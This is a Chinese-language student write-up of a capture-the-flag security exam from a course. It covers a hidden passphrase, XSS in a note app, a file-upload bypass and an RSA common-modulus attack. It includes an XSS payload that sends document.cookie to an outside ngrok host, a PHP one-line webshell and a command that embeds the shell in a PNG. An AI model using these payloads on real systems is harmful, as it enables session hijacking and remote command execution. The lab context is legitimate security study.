SCIST S4 資訊安全期末考 Writeup
我在 2024 參加了 SCIST 課程,雖然常常聽不懂但感覺還是收穫不少。這是上學期最後的一個考試,透過考試來審查是否可以進入下學期的課程。(很幸運的我有過!雖然我覺得我還得多練)。所以以下是一些我有進展的題目的 Write Up。如果發現有錯誤或是哪裡不足,可以在底下留言區留言,我會十分感激!
Welcome
這題我們可以從開發者工具發現類似以下的元素。
1 | <div class="key--double" data-key="49" data-input="?F"><div>!</div><div>1</div></div> |
再透過以下的 index.js 代碼可以找到真正的 input。
1 | if (key.hasAttribute("data-input")) { |
每個標籤的 data-input 屬性是由兩個字符所組成,以上面的 html 標籤為例,當我們按著 shift 的時候按下數字 1 按鍵,實際的 input 會是?
,也就是 index 為 0 的位置;但當我們只是單純按下數字 1 按鍵的時候,input 會是F
,就是 index 為 1 的位置。
知道了這個特性後,翻找到一份 index.css 文件,將其打開會發現第一行有個註解,以下:
1 | /* Passpharse : "JP Jf3j-F@%#$4H%xw" */ |
我們用一般打字的方法,用 shift 切換大小寫,嘗試輸入 Passphrase。經過以上的轉換,便可以得到 flag。
1 | flag = SCIST{G0oD_1u(k_!} |
XSSER
看了題目給的 app.js 檔案,可以發現 Flag 是在 visit 函數裡面被設定的,如下。
1 | async function visit(noteId) { |
而要觸發這個 visit 函數,必須在回報 note 的地方輸入一個正確合法的 ID,才會執行 visit 函數,程式碼如下。
1 | app.post('/report', (req, res) => { |
接著先在網站嘗試隨意 POST 一個正常的 note,會發現網址變成了以下的形式。
1 | http://lab.scist.org:20001/note/732733d42c28d7060c71be53a4dd491b |
其中”note/“路徑後面的1e9dafbc67ea0516bacce8d5d36a3c7a
,便是一個合法的 note ID。
到了這邊,我原本以為是要把合法的 ID 和 XSS 的 payload 結合在一起,並在 Report 的地方提交。但經過助教的提示之後,知道應該是要把 payload 提交在 note 的內文,所以我開始重新研究一次 app.js 的程式碼。發現了之前沒仔細看到可能可以注入 XSS 的地方,如下。
1 | app.get('/note/:noteId', (req, res) => { |
在這段程式碼中,可以看到我們提交的 note 會被夾在 p 標籤中解析,所以我嘗試注入<script>alert(1)</script>
發現不能執行,因為 app.js 裡面限制了允許的標籤白名單,只有 s、b、u、p、code 這五個標籤能使用,其餘的標籤會被 strip 掉。知道可以用的標籤後,我使用了 p 標籤提交,嘗試執行 javascript,payload 如下:
1 | <p/onmouseover=alert(1)>test<p> |
發現 note 只會被解析成test
,而移動滑鼠到上面的時候也確實會執行 js,因此接下來要做的就是修改 payload,並再提交 note 後去 report 的地方提交 id,讓 visit 去執行到我們提交的腳本,就可以得到 cookie 了。
我用 ngrok 在本地先架了個伺服器,並且嘗試透過其獲取 cookie,payload 如下:
1 | <p/onmouseover=document.location.href="https://1ffb-36-234-174-194.ngrok-free.app/"+document.cookie style="position:fixed;left:0;top:0;width:9999px;height:9999px;">test<p> |
但是因為 onmouseover 屬性需要有滑鼠滑過,即便我把 p 標籤調整的很大,但因為 visit 函數不會有滑鼠滑過,所以還是不會執行。很可惜到了截止的最後,還是沒能找出正確的 payload 獲取到 flag。
最後來談談這個漏洞在真實世界可能的危害,題目在每次回報完後都會提示admin will check your report
,這告訴我們如果真實世界中有人利用 XSS 漏洞注入了惡意代碼,而當系統管理員去”check”的時候,自己的 cookie 可能就會被利用,讓有心人士可以在不知道 admin 帳號密碼的情況下以 admin 的權限登入系統。
Uploader
在這題裡面,我先嘗試上傳了一張正常的圖片,發現網頁會呈現這樣的狀態。
我一開始先用了課程中教過的一句話木馬來嘗試上傳,我上傳的是 php 檔。
1 | echo system($_GET['command']); |
結果系統會回應not a PNG file
,這表示前端會檢測是否為合法的上傳檔案類型,我又嘗試把檔名修改為shell.php.png
再進行上傳,結果系統的回應是Invalid image
,表示後端也有檢測他是否為 PNG 檔案。後來又嘗試了很多其他的方法,包括在 php payload 前面加上 magic numbers 89504E47
嘗試讓系統解析為 PNG 檔,但得到的回應都跟前面差不多。
最後,在經過一番搜尋、查找資料後,發現只剩下一個方法,就是上傳圖片馬。所謂的圖片馬,就是把圖片和木馬組合在一起上傳。於是我準備了一張正常的 png(normal.png)和惡意的 php 代碼(shell.php),將其放在同一個路徑底下。接著利用以下的指令將其組合為惡意圖片馬(pwn.png):
1 | copy normal.png/b + shell.php/a pwn.png |
接著我將 pwn.png 上傳,發現系統回應Bad content
,到這邊,比賽就結束了,結果最後還是沒能成功地取得 Flag,QQ。
Common modulus
這題的題目給了三個 e(公鑰),三個 c(密文),還有一個 n(質數因子相乘),如果有其中兩個 e 是互質,也就是 gcd(e1, e2) = 1 的話,就可以利用一般的共模攻擊,去求得 m(明文),就是利用會有一組 s1 和 s2 滿足 s1 _ e1 + s2 _ e2 = 1 的條件,加上一點計算,去找出原本的 m,如下。
1 | 已知 s1 * e1 + s2 * e2 = 1 |
可惜這題的三個 e 都不是互質的,所以要用其他的方法,我就找到了一篇文章 ,裡面的方法是這樣:
1 | gcd(e1, e2) = gcd |
所以只要把最後算出來的 m 再開 gcd 次方根就能找到明文,於是我寫了下面的腳本。
1 | from gmpy2 import gcdext, iroot, gcd |
只不過最後的答案是錯誤的,沒能找到正確的 flag。可能是因為本題的 gcd 太大,還要找其他的算法。
參賽心得
這次算是我第一次花了那麼多的時間打 CTF 比賽,之前可能就是自己在網路上解解題甚麼的,總的來說還是很有趣的一次體驗。而參加完這次的比賽,我也更加地意識到自己的不足,真的還有很多可以進步、練習的地方。即便可能有點被打擊信心,但我也不會氣餒,我要更努力的練習,沒事就多解解題甚麼的,增強自己的實力,希望可以在之後的比賽表現得越來越好!
參考資料區
- Title: SCIST S4 資訊安全期末考 Writeup
- Author: CX330
- Created at : 2024-05-28 13:33:42
- Updated at : 2024-11-21 16:11:03
- Link: https://en.cx330.tw/CyberSec/CTF/SCIST-S4-資訊安全期末考-Writeup/
- License: This work is licensed under CC BY-NC-SA 4.0.